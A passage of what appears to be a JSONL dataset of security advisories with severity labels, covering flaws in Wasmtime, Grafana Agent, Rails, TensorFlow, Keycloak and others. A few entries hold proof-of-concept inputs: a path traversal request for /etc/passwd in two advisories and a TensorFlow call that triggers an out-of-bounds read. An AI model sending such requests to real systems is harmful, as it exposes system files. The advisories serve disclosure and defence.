this bug.\n\nWe have reason to believe that the effective impact of this bug is relatively small because usage of `externref` is currently quite rare.\n\n### Patches\n\nThis bug has been patched and users should upgrade to Wasmtime version 0.30.0.\n\nAdditionally, we have updated [our primary `externref` fuzz target](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/fuzz/fuzz_targets/table_ops.rs) such that it better exercises these code paths and we can have greater confidence in their correctness going forward.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime at this time, you can avoid this bug by disabling the reference types proposal by passing `false` to [`wasmtime::Config::wasm_reference_types`](https://docs.rs/wasmtime/0.29.0/wasmtime/struct.Config.html#method.wasm_reference_types)\n\n### References\n\n* [The Wasm reference types proposal, which introduces `externref`](https://github.com/WebAssembly/reference-types/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "676a554243181e4cd649", "text": "Rails Denial of Service vulnerability\n\nUnspecified vulnerability in the \"dependency resolution mechanism\" in Ruby on Rails 1.1.0 through 1.1.5 allows remote attackers to execute arbitrary Ruby code via a URL that is not properly handled in the routing code, which leads to a denial of service (application hang) or \"data loss,\" a different vulnerability than CVE-2006-4111.", "text_raw": "Rails Denial of Service vulnerability\n\n[Severity: HIGH]\n\nUnspecified vulnerability in the \"dependency resolution mechanism\" in Ruby on Rails 1.1.0 through 1.1.5 allows remote attackers to execute arbitrary Ruby code via a URL that is not properly handled in the routing code, which leads to a denial of service (application hang) or \"data loss,\" a different vulnerability than CVE-2006-4111.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "9f882090460952a02a75", "text": "Instance config inline secret exposure in Grafana\n\n### Impact\nSome inline secrets are exposed in plaintext over the Grafana Agent HTTP server:\n\n* Inline secrets for metrics instance configs in the base YAML file are exposed at `/-/config` \n* Inline secrets for integrations are exposed at `/-/config`\n* Inline secrets for Consul ACL tokens and ETCD basic auth when configured for the scraping service at `/-/config`.\n* Inline secrets for the Kafka receiver for OpenTelemetry-Collector tracing at `/-/config`.\n* Inline secrets for metrics instance configs loaded from the scraping service are exposed at `/agent/api/v1/configs/{name}`.\n\nInline secrets will be exposed to anyone being able to reach these endpoints.\n\nSecrets found in these sections are used for:\n\n* Delivering metrics to a Prometheus Remote Write system \n* Authenticating against a system for discovering Prometheus targets \n* Authenticating against a system for collecting metrics (scrape_configs and integrations)\n* Authenticating against a Consul or ETCD for storing configurations to distribute in scraping service mode \n* Authenticating against Kafka for receiving traces\n\nNon-inlined secrets, such as `*_file`-based secrets, are not impacted by this vulnerability.\n\n### Patches\n\nDownload [v0.20.1](https://github.com/grafana/agent/releases/tag/v0.20.1) or any version past [v0.21.2](https://github.com/grafana/agent/releases/tag/v0.21.2) to patch Grafana Agent. These patches obfuscate the listed impacted secrets from the vulnerable endpoints.\n\nThe patches also disable the endpoints by default. Pass the command-line flag `--config.enable-read-api` to opt-in and re-enable the endpoints.\n\n### Workarounds\nIf for some reason you cannot upgrade, use non-inline secrets where possible. Not all configuration options may have a non-inline equivalent.\n\nYou also may desire to restrict API access to Grafana Agent, with some combination of:\n\n* Restrict network interfaces Grafana Agent listens on through `http_listen_address` in the `server` block. `127.0.0.1` is the most restrictive, `0.0.0.0` is the default. \n* Configure Grafana Agent to use HTTPS with client authentication. \n* Use firewall rules to restrict external access to Grafana Agent's API.", "text_raw": "Instance config inline secret exposure in Grafana\n\n[Severity: MEDIUM]\n\n### Impact\nSome inline secrets are exposed in plaintext over the Grafana Agent HTTP server:\n\n* Inline secrets for metrics instance configs in the base YAML file are exposed at `/-/config` \n* Inline secrets for integrations are exposed at `/-/config`\n* Inline secrets for Consul ACL tokens and ETCD basic auth when configured for the scraping service at `/-/config`.\n* Inline secrets for the Kafka receiver for OpenTelemetry-Collector tracing at `/-/config`.\n* Inline secrets for metrics instance configs loaded from the scraping service are exposed at `/agent/api/v1/configs/{name}`.\n\nInline secrets will be exposed to anyone being able to reach these endpoints.\n\nSecrets found in these sections are used for:\n\n* Delivering metrics to a Prometheus Remote Write system \n* Authenticating against a system for discovering Prometheus targets \n* Authenticating against a system for collecting metrics (scrape_configs and integrations)\n* Authenticating against a Consul or ETCD for storing configurations to distribute in scraping service mode \n* Authenticating against Kafka for receiving traces\n\nNon-inlined secrets, such as `*_file`-based secrets, are not impacted by this vulnerability. \n\n### Patches\n\nDownload [v0.20.1](https://github.com/grafana/agent/releases/tag/v0.20.1) or any version past [v0.21.2](https://github.com/grafana/agent/releases/tag/v0.21.2) to patch Grafana Agent. These patches obfuscate the listed impacted secrets from the vulnerable endpoints.\n\nThe patches also disable the endpoints by default. Pass the command-line flag `--config.enable-read-api` to opt-in and re-enable the endpoints.  \n \n### Workarounds\nIf for some reason you cannot upgrade, use non-inline secrets where possible. Not all configuration options may have a non-inline equivalent.\n\nYou also may desire to restrict API access to Grafana Agent, with some combination of:\n\n* Restrict network interfaces Grafana Agent listens on through `http_listen_address` in the `server` block. `127.0.0.1` is the most restrictive, `0.0.0.0` is the default. \n* Configure Grafana Agent to use HTTPS with client authentication. \n* Use firewall rules to restrict external access to Grafana Agent's API.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-08", "split": "train"}
-{"id": "913370933eb2875fb4c8", "text": "Open Redirect\n\nOpen redirect vulnerability in Gogs before 0.12 allows remote attackers to redirect users to arbitrary websites and conduct phishing attacks via an initial /\\ substring in the user/login redirect_to parameter, related to the function isValidRedirect in routes/user/auth.go.", "text_raw": "Open Redirect\n\n[Severity: MEDIUM]\n\nOpen redirect vulnerability in Gogs before 0.12 allows remote attackers to redirect users to arbitrary websites and conduct phishing attacks via an initial /\\ substring in the user/login redirect_to parameter, related to the function isValidRedirect in routes/user/auth.go.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "57f7db2612a803200539", "text": "Google Chrome for Android UI Heap Buffer Overflow Vulnerability\n\nAffected: Google Chrome for Android UI\n\nGoogle Chrome for Android UI contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chrome for Android UI Heap Buffer Overflow Vulnerability\n\nAffected: Google Chrome for Android UI\n\nGoogle Chrome for Android UI contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2ec1a48aba1092d05c66", "text": "Improper Privilege Management in HashiCorp Nomad\n\nHashiCorp Nomad and Nomad Enterprise up to 0.12.9 exec and java task drivers can access processes associated with other tasks on the same node. Fixed in 0.12.10, and 1.0.3.", "text_raw": "Improper Privilege Management in HashiCorp Nomad\n\n[Severity: HIGH]\n\nHashiCorp Nomad and Nomad Enterprise up to 0.12.9 exec and java task drivers can access processes associated with other tasks on the same node. Fixed in 0.12.10, and 1.0.3.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-24", "split": "train"}
-{"id": "ffd42e1782ee2fa34225", "text": "Python Twisted trustRoot is not respected in HTTP client\n\nPython Twisted 14.0.0 `trustRoot` is not respected in HTTP client", "text_raw": "Python Twisted trustRoot is not respected in HTTP client\n\n[Severity: HIGH]\n\nPython Twisted 14.0.0 `trustRoot` is not respected in HTTP client", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-17", "split": "train"}
-{"id": "806029fdc625b9ffb55f", "text": "Path Traversal in Ansible\n\nA flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.", "text_raw": "Path Traversal in Ansible\n\n[Severity: HIGH]\n\nA flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "c38c8c0d2e4a8dd08882", "text": "Incorrect Authorization\n\nVersions of aedes before 0.35.1 does not respect its own authorization rules when a client sets a Last Will.", "text_raw": "Incorrect Authorization\n\n[Severity: MEDIUM]\n\nVersions of aedes before 0.35.1 does not respect its own authorization rules when a client sets a Last Will.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-23", "split": "train"}
-{"id": "e6eb96e7aaddc4998c3b", "text": "SQL injection in phpMyAdmin\n\nAn issue was discovered in phpMyAdmin before 4.9.2. A crafted database/table name can be used to trigger a SQL injection attack through the designer feature.", "text_raw": "SQL injection in phpMyAdmin\n\n[Severity: CRITICAL]\n\nAn issue was discovered in phpMyAdmin before 4.9.2. A crafted database/table name can be used to trigger a SQL injection attack through the designer feature.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-16", "split": "train"}
-{"id": "ee2442008e34ec645bcc", "text": "MyDomoAtHome (MDAH) REST API Domoticz ISS Gateway 0.2.40 Information Disclosure", "text_raw": "MyDomoAtHome (MDAH) REST API Domoticz ISS Gateway 0.2.40 Information Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "c20b51c3b770a06d1a53", "text": "Cross-site scripting (XSS) vulnerability in the fallback authentication endpoint\n\n### Impact\nThe fallback authentication endpoint served via Synapse was vulnerable to cross-site scripting (XSS) attacks. The impact depends on the configuration of the domain that Synapse is deployed on, but may allow access to cookies and other browser data, CSRF vulnerabilities, and access to other resources served on the same domain or parent domains.\n\n### Patches\nThis is fixed by #8444, which is included in Synapse v1.21.0.\n\n### Workarounds\nIf the homeserver is not configured to use reCAPTCHA, consent (terms of service), or single sign-on then the affected endpoint can be blocked at a reverse proxy:\n\n* `/_matrix/client/r0/auth/.*/fallback/web`\n* `/_matrix/client/unstable/auth/.*/fallback/web`", "text_raw": "Cross-site scripting (XSS) vulnerability in the fallback authentication endpoint\n\n[Severity: MEDIUM]\n\n### Impact\nThe fallback authentication endpoint served via Synapse was vulnerable to cross-site scripting (XSS) attacks. The impact depends on the configuration of the domain that Synapse is deployed on, but may allow access to cookies and other browser data, CSRF vulnerabilities, and access to other resources served on the same domain or parent domains.\n\n### Patches\nThis is fixed by #8444, which is included in Synapse v1.21.0.\n\n### Workarounds\nIf the homeserver is not configured to use reCAPTCHA, consent (terms of service), or single sign-on then the affected endpoint can be blocked at a reverse proxy:\n\n* `/_matrix/client/r0/auth/.*/fallback/web`\n* `/_matrix/client/unstable/auth/.*/fallback/web`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-16", "split": "train"}
-{"id": "31e936fc4f89528c45a4", "text": "SQL Injection in waterline-sequel\n\nWithdrawn: Duplicate of GHSA-cgpp-wm2h-6hqx", "text_raw": "SQL Injection in waterline-sequel\n\n[Severity: HIGH]\n\nWithdrawn: Duplicate of GHSA-cgpp-wm2h-6hqx", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "f132b1e6995f09540769", "text": "XSS in Keycloak\n\nIt was found in all keycloak versions before 9.0.0 that links to external applications (Application Links) in the admin console are not validated properly and could allow Stored XSS attacks. An authed malicious user could create URLs to trick users in other realms, and possibly conduct further attacks.", "text_raw": "XSS in Keycloak\n\n[Severity: MEDIUM]\n\nIt was found in all keycloak versions before 9.0.0 that links to external applications (Application Links) in the admin console are not validated properly and could allow Stored XSS attacks. An authed malicious user could create URLs to trick users in other realms, and possibly conduct further attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-15", "split": "train"}
-{"id": "460361d1a7cd0a42ffeb", "text": "Prototype Pollution in object-path\n\nThis affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition `currentPath === '__proto__'` returns false if `currentPath` is `['__proto__']`. This is because the `===` operator returns always false when the type of the operands is different.", "text_raw": "Prototype Pollution in object-path\n\n[Severity: MEDIUM]\n\nThis affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition `currentPath === '__proto__'` returns false if `currentPath` is `['__proto__']`. This is because the `===` operator returns always false when the type of the operands is different.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "8ce58c1ded23c44b41c9", "text": "i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw", "text_raw": "i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2021-11-01", "split": "train"}
-{"id": "0dc179b19d2deee17fa8", "text": "Heap OOB read in `tf.ragged.cross`\n\n### Impact\nThe [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.RaggedCross(ragged_values=[],\n                             ragged_row_splits=[],\n                             sparse_indices=[[5]],\n                             sparse_values=[],\n                             sparse_shape=[5],\n                             dense_inputs=[['a']],\n                             input_order='RD',\n                             hashed_output=False,\n                             num_buckets=5,\n                             hash_key=2,\n                             out_values_type=tf.string,\n                             out_row_splits_type=tf.int64)\n  return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB read in `tf.ragged.cross`\n\n[Severity: HIGH]\n\n### Impact\nThe [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.RaggedCross(ragged_values=[],\n                             ragged_row_splits=[],\n                             sparse_indices=[[5]],\n                             sparse_values=[],\n                             sparse_shape=[5],\n                             dense_inputs=[['a']],\n                             input_order='RD',\n                             hashed_output=False,\n                             num_buckets=5,\n                             hash_key=2,\n                             out_values_type=tf.string,\n                             out_row_splits_type=tf.int64)\n  return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "517bef81a2930e264d23", "text": "Apache HBase 0.98 before 0.98.12.1, 1.0 before 1.0.1.1, and 1.1 before 1.1.0.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, uses incorrect ACLs for ZooKeeper coordination state, which allows remote attackers to cause a denial of service (daemon outage), obtain sensitive information, or modify data via unspecified client traffic.", "text_raw": "High severity vulnerability that affects org.apache.hbase:hbase\n\n[Severity: HIGH]\n\nApache HBase 0.98 before 0.98.12.1, 1.0 before 1.0.1.1, and 1.1 before 1.1.0.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, uses incorrect ACLs for ZooKeeper coordination state, which allows remote attackers to cause a denial of service (daemon outage), obtain sensitive information, or modify data via unspecified client traffic.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "57ac40592fb6c01d558f", "text": "Directory Traversal in desafio\n\nAffected versions of `desafio` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nno patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in desafio\n\n[Severity: MEDIUM]\n\nAffected versions of `desafio` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nno patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "b0930ef3dac64c1573aa", "text": "Inadequate Encryption Strength in DotNetNuke\n\nDNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.", "text_raw": "Inadequate Encryption Strength in DotNetNuke\n\n[Severity: HIGH]\n\nDNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "b23f1ebed0059a187bf0", "text": "Xplico 0.5.7 (add.ctp) Remote XSS Vulnerability", "text_raw": "Xplico 0.5.7 (add.ctp) Remote XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-07-02", "split": "train"}
-{"id": "ef66bec3bb1ad646f2fe", "text": "Directory Traversal in qinserve\n\nAffected versions of `qinserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in qinserve\n\n[Severity: HIGH]\n\nAffected versions of `qinserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d090b33b31faeb76263d", "text": "SilverStripe Priviledge escalation through cache pollution\n\nIn SilverStripe through 4.3.3, there is access escalation for CMS users with limited access through permission cache pollution.", "text_raw": "SilverStripe Priviledge escalation through cache pollution\n\n[Severity: LOW]\n\nIn SilverStripe through 4.3.3, there is access escalation for CMS users with limited access through permission cache pollution.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "1ef46be251f9f0fc665f", "text": "Reflected XSS with parameters in PostComment\n\n### Impact\nAn attacker could inject malicious web code into the users' web browsers by creating a malicious link.\n\n### Patches\nThe problem is fixed in 4.2.0\n\n### References\n[Cross-site Scripting (XSS) - Reflected (CWE-79) ](https://cwe.mitre.org/data/definitions/79.html)", "text_raw": "Reflected XSS with parameters in PostComment\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker could inject malicious web code into the users' web browsers by creating a malicious link.\n\n### Patches\nThe problem is fixed in 4.2.0\n\n### References\n[Cross-site Scripting (XSS) - Reflected (CWE-79) ](https://cwe.mitre.org/data/definitions/79.html)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-16", "split": "train"}
-{"id": "210ef87654611bd91709", "text": "Microsoft Windows AppX Installer Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows AppX Installer contains a spoofing vulnerability which has a high impacts to confidentiality, integrity, and availability.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows AppX Installer Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows AppX Installer contains a spoofing vulnerability which has a high impacts to confidentiality, integrity, and availability.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-15", "split": "train"}
-{"id": "75efc78e88f8ae201786", "text": "Qool CMS v2.0 RC2 XSRF Add Root Exploit", "text_raw": "Qool CMS v2.0 RC2 XSRF Add Root Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-03-06", "split": "train"}
-{"id": "97b5728d100fbbdf28a5", "text": "use-after-free vulnerability in Rust array-queue\n\nAn issue was discovered in the array-queue crate through 2020-09-26 for Rust. A pop_back() call may lead to a use-after-free.", "text_raw": "use-after-free vulnerability in Rust array-queue\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the array-queue crate through 2020-09-26 for Rust. A pop_back() call may lead to a use-after-free.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9a8f46722383da214bdb", "text": "Incorrect Authorization in Apache Solr\n\nWhen using ConfigurableInternodeAuthHadoopPlugin for authentication, Apache Solr versions prior to 8.8.2 would forward/proxy distributed requests using server credentials instead of original client credentials. This would result in incorrect authorization resolution on the receiving hosts.", "text_raw": "Incorrect Authorization in Apache Solr\n\n[Severity: CRITICAL]\n\nWhen using ConfigurableInternodeAuthHadoopPlugin for authentication, Apache Solr versions prior to 8.8.2 would forward/proxy distributed requests using server credentials instead of original client credentials. This would result in incorrect authorization resolution on the receiving hosts.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "c92e5354e1d96c671734", "text": "Improper escaping of command arguments on Windows leading to command injection\n\n### Impact\nWindows users running Composer to install untrusted dependencies are affected and should definitely upgrade for safety. Other OSs and WSL are not affected.\n\n### Patches\n1.10.23 and 2.1.9 fix the issue\n\n### Workarounds\nNone", "text_raw": "Improper escaping of command arguments on Windows leading to command injection\n\n[Severity: HIGH]\n\n### Impact\nWindows users running Composer to install untrusted dependencies are affected and should definitely upgrade for safety. Other OSs and WSL are not affected. \n\n### Patches\n1.10.23 and 2.1.9 fix the issue\n\n### Workarounds\nNone\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "e41afe1fc2f96f48569d", "text": "Improper Input Validation in access-policy\n\naccess-policy through 3.1.0 is vulnerable to Arbitrary Code Execution. User input provided to the `template` function is executed by the `eval` function resulting in code execution.", "text_raw": "Improper Input Validation in access-policy\n\n[Severity: CRITICAL]\n\naccess-policy through 3.1.0 is vulnerable to Arbitrary Code Execution. User input provided to the `template` function is executed by the `eval` function resulting in code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "909ad724733134e262f8", "text": "activesupport vulnerable to Denial of Service via large XML document depth\n\nThe (1) `jdom.rb` and (2) `rexml.rb` components in Active Support in Ruby on Rails before 3.2.22, 4.1.x before 4.1.11, and 4.2.x before 4.2.2, when JDOM or REXML is enabled, allow remote attackers to cause a denial of service (SystemStackError) via a large XML document depth.", "text_raw": "activesupport vulnerable to Denial of Service via large XML document depth\n\n[Severity: MEDIUM]\n\nThe (1) `jdom.rb` and (2) `rexml.rb` components in Active Support in Ruby on Rails before 3.2.22, 4.1.x before 4.1.11, and 4.2.x before 4.2.2, when JDOM or REXML is enabled, allow remote attackers to cause a denial of service (SystemStackError) via a large XML document depth.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c2ccbfabf9a39e572889", "text": "Gon gem lack of escaping certain input when outputting as JSON\n\nAn issue was discovered in the gon gem before gon-6.4.0 for Ruby. MultiJson does not honor the escape_mode parameter to escape fields as an XSS protection mechanism. To mitigate, json_dumper.rb in gon now does escaping for XSS by default without relying on MultiJson.", "text_raw": "Gon gem lack of escaping certain input when outputting as JSON\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the gon gem before gon-6.4.0 for Ruby. MultiJson does not honor the escape_mode parameter to escape fields as an XSS protection mechanism. To mitigate, json_dumper.rb in gon now does escaping for XSS by default without relying on MultiJson.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "da9ae18796ad86b32101", "text": "Users with SCRIPT right can execute arbitrary code in XWiki\n\n### Impact\n\nAny user with SCRIPT right (EDIT right before XWiki 7.4) can gain access to the application server Servlet context which contains tools allowing to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution.\n\n### Patches\n\nIt has been patched in both version XWiki 12.2.1 and XWiki 11.10.5.\n\n### Workarounds\n\nThe only workaround is to give SCRIPT right only to trusted users.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17141\nhttps://jira.xwiki.org/browse/XWIKI-17266\n\nIt's been reported by the GitHub Security Lab under #GHSL-2020-046.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [our security mailing list](mailto:security@xwiki.org)", "text_raw": "Users with SCRIPT right can execute arbitrary code in XWiki\n\n[Severity: LOW]\n\n### Impact\n\nAny user with SCRIPT right (EDIT right before XWiki 7.4) can gain access to the application server Servlet context which contains tools allowing to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution.\n\n### Patches\n\nIt has been patched in both version XWiki 12.2.1 and XWiki 11.10.5.\n\n### Workarounds\n\nThe only workaround is to give SCRIPT right only to trusted users.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17141\nhttps://jira.xwiki.org/browse/XWIKI-17266\n\nIt's been reported by the GitHub Security Lab under #GHSL-2020-046.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [our security mailing list](mailto:security@xwiki.org)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-10", "split": "train"}
-{"id": "1034c8405ac7cd7bb238", "text": "Django vulnerable to XSS on 500 pages\n\nIn Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with `DEBUG = True` (which makes this page accessible) in your production settings.", "text_raw": "Django vulnerable to XSS on 500 pages\n\n[Severity: MEDIUM]\n\nIn Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with `DEBUG = True` (which makes this page accessible) in your production settings.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
